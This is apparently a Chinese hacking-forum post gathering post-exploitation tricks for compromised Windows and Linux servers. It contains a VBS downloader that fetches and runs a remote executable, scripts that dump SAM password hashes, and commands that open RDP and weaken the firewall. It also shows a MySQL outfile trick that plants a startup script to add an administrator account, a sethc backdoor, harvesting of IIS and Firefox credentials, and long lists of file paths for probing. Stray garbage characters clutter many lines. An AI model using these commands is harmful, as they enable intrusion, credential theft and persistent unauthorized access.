( F# U, {& C. a# m+ I（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
# t* C5 r$ y. D————————————————————————————
' r8 M. h7 i5 L6 w! f* U1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
' K/ W4 b* o6 L{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
5 L1 U5 I* \/ ^3 t  V若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

提权先执行systeminfo
, N0 z6 ^! N8 d: x9 Vtoken 漏洞补丁号 KB956572
Churrasco          kb952004
, e& P( z! D3 `$ M命令行RAR打包~~·
  ^  v5 z2 }5 ~( u8 crar a -k -r -s -m3 c:\1.rar c:\folder
0 ], g# |% U) x/ }3 S9 z" n+ D, X: o; ]——————————————
* C( ~. o1 N8 g5 t2、收集系统信息的脚本  
, O3 O) x. h# H1 Rfor window：

@echo off
echo #########system info collection
systeminfo
ver
hostname
5 a  ]' p$ O5 E: inet user
* V7 i. ~0 u$ S" Q4 k& g6 a4 Hnet localgroup
net localgroup administrators
; N! P! Y, a+ O  Jnet user guest
net user administrator
) `' J5 A. M) q# e& y) i
' u7 P* d- V, l3 mecho #######at- with   atq#####
. U+ v8 ?# ^9 R% Necho schtask /query

/ G8 H- ?  G$ K% H; R# ~echo
# l; n- ^: N5 q+ o! {" Yecho ####task-list#############
; ~8 o& \' h9 O+ ~tasklist /svc
+ p/ ~/ I! z3 ?( ~echo
  V' D3 _2 t5 H* Jecho ####net-work infomation
ipconfig/all
" J5 S  T+ n" K/ I: G* ~route print
arp -a
netstat -anipconfig /displaydns
echo
echo #######service############
* ]6 P1 @2 c5 C! I" hsc query type= service state= all
echo #######file-##############
& [$ |% @, j) ]" Zcd \
7 E1 Q6 ?8 Y5 n4 g3 Z) Stree -F
6 \+ b) ]5 k! ?7 Hfor linux：

) X: M( v5 r6 {* a) q& m#!/bin/bash

echo #######geting sysinfo####
* f1 T/ G9 C- Y  E( aecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
! y! E  N4 _  ~" j2 B& Dcat /proc/meminfo
0 H" A3 D) z2 P1 Z$ ~2 x; Cecho
cat /proc/cpuinfo
# ]  }4 i: c4 vecho
rpm -qa 2>/dev/null
######stole the mail......######
4 t/ R5 H0 ~& y. u7 U( L' ]cp -a /var/mail /tmp/getmail 2>/dev/null


3 b. s7 c6 B8 Aecho 'u'r id is' `id`
4 v% Y! ?5 u( b: a3 cecho ###atq&crontab#####
0 @$ M9 X6 v, u# `+ j+ T& \' p8 M* C3 h/ yatq
crontab -l
echo #####about var#####
set
  w% V% W$ m1 P8 C& x7 r7 _( m
echo #####about network###
4 m. z: [, J; i9 C8 d####this is then point in pentest,but i am a new bird,so u need to add some in it
- A7 R" i2 _8 o9 {cat /etc/hosts
hostname
ipconfig -a
2 m7 x' j! V/ u, U7 C* Barp -v
echo ########user####
cat /etc/passwd|grep -i sh
3 j! T. ^# |$ M) R0 P# {! x0 `; u2 p
echo ######service####
6 o1 _- d3 v# j) Ochkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
! N+ D: `6 k& M. J) wdone
" h$ G& T2 m* \+ i6 ]3 h
; p4 C9 t8 }# glocate passwd >/tmp/password 2>/dev/null
sleep 5
& x0 N2 O' d$ }0 X* R- Y8 s4 dlocate password >>/tmp/password 2>/dev/null
7 @! o6 C+ g% z. |" Gsleep 5
locate conf >/tmp/sysconfig 2>dev/null
+ Y! N, S6 ]" i$ `! a' n# ~* t. X7 C& h' g* Asleep 5
/ \5 H+ j9 N6 e$ tlocate config >>/tmp/sysconfig 2>/dev/null
sleep 5
# O, w) b6 R2 E8 @+ ?4 }: G
###maybe can use "tree /"###
, e  ^7 l! e" V# Xecho ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
, p0 t7 u  [* E3 grm -rf /tmp/getmail /tmp/password /tmp/sysconfig
5 E3 V9 `# u; z# P4 v——————————————
. z* I1 X0 S% p: w3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
0 n/ ^+ w1 \, g" R& m               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
" V* \& [4 f* Qhash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
! q5 e7 g8 k" p' ~3 n; L: Y4、vbs 下载者
6 v2 e/ N& }+ Q1
$ s3 T6 X# p. W- d- ]echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
  J/ w- B, j$ ^4 D. ~! X2 zecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
$ W5 g) _& N2 h% [6 J0 Oecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

2
6 C. W! R; l! d, m( E3 z, @& y2 LOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
, {( q% ?8 e5 m6 e+ D0 k7 k! W' k& q  Ys1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
# b- M8 P, z  r  f, BSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

* @/ }" O; ]8 {cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
$ Q( [( o6 Q0 ]3 c——————————————————
( u$ P8 Z+ e4 p4 W0 b5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
& f* ^- E' w) N8 v" ]2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
' f) D% g2 @; y- w' h4 gREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
& o- ]' l  x1 N3 c4 s: |4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
& u; O" Y# f, v9 Y& {+ @& l  P! [3 Z6、create table a (cmd text);
' H) G, [7 A4 z+ Finsert into a values ("set wshshell=createobject (""wscript.shell"")");
" d6 T$ i1 ]- P9 u- A; Dinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
$ t# c4 M9 \$ x, `7 b2 f————————————————————
0 c, z1 R* N' z. L, k2 ^. V+ h7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
' s1 x" m  K, K% N( ~_____
8、for /d %i in (d:\freehost\*) do @echo %i
( L8 q5 u7 k+ v1 o( t! @
列出d的所有目录
  
  for /d %i in (???) do @echo %i
' Z3 v! Z2 h+ z! x: b4 W; b" t' f3 F9 ~2 U
4 S0 ^/ ?( ~: A. W, `把当前路径下文件夹的名字只有1-3个字母的打出来
' G2 M  Q2 O9 O+ h
0 e8 o  x) k9 u; [2.for /r %i in (*.exe) do @echo %i
  
, {9 _: q$ q9 I以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

6 \, b2 P; g8 v# Hfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
4 z4 l5 E* m* J* P, I/ Q$ r' W
7 Z1 k) p0 o+ n% |3.for /f %i in (c:\1.txt) do echo %i
# ?# P: Q9 J: J5 d  
- {+ g6 S3 l; P1 T3 k) k  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
5 w7 _* J' |2 N; v, r5 i
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
: _& Y$ Z! u6 q, s9 K3 _7 f7 g——————————
●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
5 W7 ~' D" S9 o
# ]$ e" D" U1 n2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
8 L$ h$ j( B+ `* O8 s* `修改PortNumber.

3.清除3389登录记录:
, l; B% m1 ]" M' g" Ireg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
& c' _! Y* j0 K& y2 x; nREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
3 t+ |0 R# L3 c% G4 ]) O& p- j  x
6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
4 n  |7 m. e/ S3 ~2 i或者
! `7 w9 m5 i: U8 w! a( M* Pnetsh ipsec dynamic set config ipsecexempt value=0
, [: J0 ~1 e1 V3 J
5 B. W8 h% _; C  w+ h# @/ {7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
# {7 T' F7 X4 H7 O
4 v0 }  D, C/ e) R. g8.系统口令恢复LM加密:
7 I) I( ~: i& dreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
' r7 d' N- n! p1 {
9.另类方法抓系统密码HASH
7 P+ T4 e+ _9 Z3 yreg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
8 m7 M% h- t( b0 Y
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
6 ^8 z3 A* Q  R+ r3 I星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
. j( I  c, p, T7 l" Jif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
/ j. i+ `. s% \4 t- P& X6 U+ a! xif err.number<>0 then
% `, r0 d5 L" @* C3 ]! Wexit for
msgbox("error!")
wscript.quit
end if
+ Z: ?7 j* ]# W. nserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
+ j" B* [) q+ D# C4 d. T/ t( J1 y! Uuser=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
% Y+ e; n0 z7 J8 l0 w- mlist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
' I8 B; F( [) S. K) Y6 q# @end if
9 [- h  R4 ~- U& _0 }' SNext
) n, ~6 a1 e8 Pwscript.echo list
5 G' j0 J% s9 \Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
8 M& D+ a- X2 U" y2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
0 u6 J6 H" p% m1 q8 Q, k# E" Y将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
# L$ f# u9 P0 z; R0 @: \</OBJECT>
复制代码
, h2 _$ O! V& N& d. z$ J& N( i然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
& @( N3 ]* y/ f: D: O 解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

8 `- O" G+ E; o8 t==============================================================
' ^! G- A# u" L- }- sLINUX常见路径：
! C$ Z( L6 Y: W5 i: ~) `
/etc/passwd
* S2 q/ A" M- ~$ R" `/etc/shadow
/etc/fstab
" E" a4 U0 B$ C/etc/host.conf
" G: `- k  R" O, g) D/etc/motd
, W( a3 |) c0 j/etc/ld.so.conf
9 ]3 l2 Y8 m# ^% O1 L/var/www/htdocs/index.php
/var/www/conf/httpd.conf
  y  z+ T0 u; h4 W  m3 G/var/www/htdocs/index.html
7 z% y2 i3 |. @3 n& \( w" W# L/var/httpd/conf/php.ini
4 k$ P2 L% q  m" i/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
: @( T' k, m4 p' k7 j( x/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
6 H/ k( r( S# U8 T( H& n/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
( D& `  f8 M1 [8 w3 \5 ?7 d& ^/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
9 y+ X8 ?, m3 T/ u! S% M/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
: G; z& _/ Y3 f$ _9 B! z/tmp/apache/htdocs/index.html
- S  ]0 t4 g! j: g7 R" h& {6 C1 O  \; `/ {/tmp/apache/htdocs/index.php
7 G8 K+ l1 o7 f8 o/etc/httpd/htdocs/index.php
7 p- V4 A/ i. Z/etc/httpd/conf/httpd.conf
1 ]+ N+ U0 |1 A9 b/etc/httpd/htdocs/index.html
/www/php/php.ini
( A7 _1 ~' `0 j: Y5 n3 b% d7 g/www/php4/php.ini
3 T. r! w3 M$ u: k: |& c' t/www/php5/php.ini
) P; ?+ O' k% K2 S& N2 X/www/conf/httpd.conf
+ l$ q  ^3 g3 I5 ~. E/www/htdocs/index.php
6 U. ~* B# K+ r4 M2 X' c/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
# ~: Q+ k8 `8 ~  ~9 N/ V1 |/etc/apache/httpd.conf
8 j9 l) r6 W7 Y$ u) v/etc/apache2/httpd.conf
6 d+ ~5 e8 \+ A! [/etc/apache2/vhosts.d/00_default_vhost.conf
5 I+ N$ b6 q  |1 T8 C4 j4 j5 V. T/etc/apache2/sites-available/default
; e9 d6 H: i0 n. S6 z/etc/phpmyadmin/config.inc.php
  }# i4 u+ t+ C9 T/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
1 w* W( F0 m2 N2 {. h/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
0 C/ Q7 m6 Q6 B  N% \, c# C/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
* E; Q4 |$ T0 o. |2 L6 q" c/etc/httpd/logs/access.log
/ o: C5 n8 a( k& O4 \( C/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
5 C+ c2 N( [* I4 i% A" ?/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
" T" }! E% V' r' h* h% F" D/var/log/apache2/access_log
1 l9 l" L  G1 L$ I  L) Y/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
3 ]. V9 ~9 c; R5 s) r/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/ }% v$ a" M& t/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
9 u, v$ i6 r8 K7 Y7 K5 n; [/var/log/error_log
/var/log/error.log
+ O7 Y" e4 G$ e8 R; n4 |4 e' d( E/var/log/access_log
$ I2 }0 E* `: Q/var/log/access.log
" ^/ }* L6 m" Y- \, L/ x/usr/local/apache/logs/access_logaccess_log.old
4 M9 d: J4 M2 K, ~, `  s/usr/local/apache/logs/error_logerror_log.old
- y) u$ {) \& k. t5 G( D9 s/etc/php.ini
4 k% g- O2 A  ~: Y' y. e/bin/php.ini
1 {; o  m9 E3 o8 `/etc/init.d/httpd
  l; q/ A$ F9 R" |/ b/etc/init.d/mysql
/etc/httpd/php.ini
* `' x9 i1 b- {  [( C3 k# k7 m/usr/lib/php.ini
/usr/lib/php/php.ini
! i7 }: {  e9 o$ t/usr/local/etc/php.ini
$ c' A5 [' s; E) N# F, D" n/usr/local/lib/php.ini
7 J7 ]" }3 ^. S7 l( o1 H/usr/local/php/lib/php.ini
+ K3 m2 C' ?. o; [  p/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
7 `8 s! Y$ V& w* P$ ~" {/usr/local/php5/php5.ini
7 C, C* ~+ H# J2 ]0 X+ D1 X/ g/usr/local/apache/conf/php.ini
0 D7 j  g, I, K# m/usr/local/apache/conf/httpd.conf
: L- v; i) p* z* g0 T" @" C/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
- l- \7 U. \/ Z2 ~$ q7 T/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
4 F; B4 @+ P/ f" K; y/etc/php5/apache2/php.ini
/etc/php/php.ini
6 U6 H- U: k8 I! y) z4 v  m! u/etc/php/php4/php.ini
. r- z1 M. o. F$ s3 W6 M/etc/php/apache/php.ini
8 \( n4 _& o) j0 P/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
! F' Q, u' g3 P4 L( G9 A/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
* {! Z7 i) ^8 n* W/etc/php5/cgi/php.ini
/php5/php.ini
4 P4 H0 b8 v2 ]9 R0 m/php4/php.ini
  o0 t1 T. L; {( E' n7 C! e  i/php/php.ini
5 W# c% J+ ^* ~6 _$ c/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
. ]; B4 j: |$ O; r/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/ Q9 Q" g" k* \/ W9 x9 i, F/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
' }$ }! ?4 J; O+ k9 k/etc/my.cnf
; q- X8 {7 Z/ G* O! [' ^) d* R  _/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
3 d$ v- |* O6 |+ @8 \0 ]/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
; `: l  I; l5 U8 C3 R$ k1 P3 W/usr/local/share/examples/php/php.ini

& a/ S1 Y5 p# Z! D2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
+ A! A6 P7 P! v! z6 I6 r' e3 a
c:\windows\php.ini
$ r- p$ |- D% X3 a, Lc:\boot.ini
, }  y2 m' R" P* dc:\1.txt
- x# h' N+ [/ P  j8 @c:\a.txt

- ?, y0 Q" A; n  G9 |$ jc:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
$ u# B# d. z" tc:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
, w# ^. e2 |( r) l6 Z8 H$ \( uc:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
# Y3 D) |+ T7 }% e. ^. GC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
: B) y. r# l" p" e2 VC:\WINDOWS\7i24tool.exe
/ O2 c& F- c: K
c:\hzhost\databases\url.asp
' {$ ~9 o( {$ }6 y% i+ ~
c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

/ U+ }2 A4 Y3 g3 B& Q' eC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
$ i) F' _3 `# M5 i3 [C:\WINDOWS\web.config
c:\web\index.html
& n. w" u" t: \6 lc:\www\index.html
- x3 N: [) m! q5 ?" \9 W  C# kc:\WWWROOT\index.html
6 u8 F8 Y* ~% |c:\website\index.html
* [1 b- I" l- ~5 A' `c:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
2 x. K7 C" q1 p7 J! k2 lc:\web\index.php
c:\www\index.php
c:\WWWROOT\index.php
$ v% O& ~4 p6 ~" ~$ B; V, Sc:\WWWsite\index.php
0 Y+ e1 C& O, S- g& ^c:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
c:\web\default.asp
c:\www\default.asp
0 x# F% L' c9 Z% p) r; G3 q) ]c:\wwwsite\default.asp
c:\WWWROOT\default.asp
9 f* k) R0 L8 M% Hc:\web\default.php
. i- N" ^& S2 R! k: n; D9 W: ?c:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
& k( X8 v6 q1 a' Q7 a( Jc:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
+ j! E1 [' w7 X+ E; TC:\Program Files\Microsoft Office\OFFICE12\winword.exe
' Z7 F" Z- Q' i8 `" BC:\Program Files\Internet Explorer\IEXPLORE.EXE
- F0 g1 I5 b; X! ]% KC:\Program Files\winrar\rar.exe
% I6 R* U9 s! d" ?) K) fC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
" l- q2 Q6 z6 ?: d2 H8 Mc:\ravbin\store.ini
c:\rising.ini
0 V! q6 f8 I. Z- JC:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
5 N& y9 w  F* H7 N8 o9 {C:\Documents and Settings\Administrator\Cookies\index.dat
9 s8 u9 J& B: N0 O' T- IC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
. r! D' N( d! Y- c+ S# _C:\Documents and Settings\Administrator\My Documents\a.txt
, }& y9 x$ \3 g, {C:\Documents and Settings\Administrator\桌面\a.txt
) D! V. L' O' GC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
7 |" c9 i" j. B3 R" M- j! UC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
* ?$ c: w( c7 V/ f7 r& tC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
2 l/ G+ @8 v. Z* dC:\Program Files\Symantec\SYMEVENT.INF
  b  ?' w. i3 Y7 x0 b( {C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
% }% j' {" t  e4 G% x% K' JC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
& D; c9 p% ?' O1 TC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
. U; q( E' q6 f$ N2 D3 l  R( Q7 }C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
" ~& V7 b; A' o! wC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
' q4 n0 L$ p& }C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
) e, c+ E; Q' h) V: x8 |$ T' pC:\MySQL\MySQL Server 5.0\my.ini
' |& @9 `9 l2 J! j4 V( A1 U2 S2 pC:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
# \& c* V! F' O" OC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
  O+ l( w& S/ h4 m# B, Vc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
7 k" U3 i0 ~7 ?- T) X4 qC:\Program Files\Oracle\oraconfig\Lpk.dll
, q2 [. B) N4 |& L* P2 _+ y* HC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
0 `: V* W* k/ AC:\WINDOWS\system32\inetsrv\inetinfo.exe
5 D# R) ]* J% e' d+ u  I: t  NC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
0 B! U: N; P8 C+ m" xC:\WINDOWS\system32\config\default.LOG
; q% ]& K2 U. |3 _! TC:\WINDOWS\system32\config\sam
% x& ?5 d( Q! E; X7 M6 w8 RC:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
* K1 c+ y0 P+ {, fc:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
2 b! O2 u2 s9 l$ l" e8 rc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
! i& D% I( W  }, u0 @0 F; Z+ L" V- Sc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
' Z& }* N0 _! X! v7 P$ k: y7 m* G5 Sc:\Apache2\bin\Apache.exe
0 a& U" B; b: y2 r( D: P6 |- d" Fc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
5 ]" N* C# f2 P! k/usr/tomcat6/bin/startup.sh
6 T# a5 k2 X& }c:\Program Files\QQ2007\qq.exe
9 O# {9 L, E; a$ F& H0 dc:\Program Files\Tencent\qq\User.db
0 n$ i3 q9 z* h% N- |: jc:\Program Files\Tencent\qq\qq.exe
2 q/ T; O% D6 F2 T# P% q/ Y, f+ lc:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
# P; _$ g) |9 t. p2 R+ pc:\Program Files\Tencent\qq\Users\All Users\Registry.db
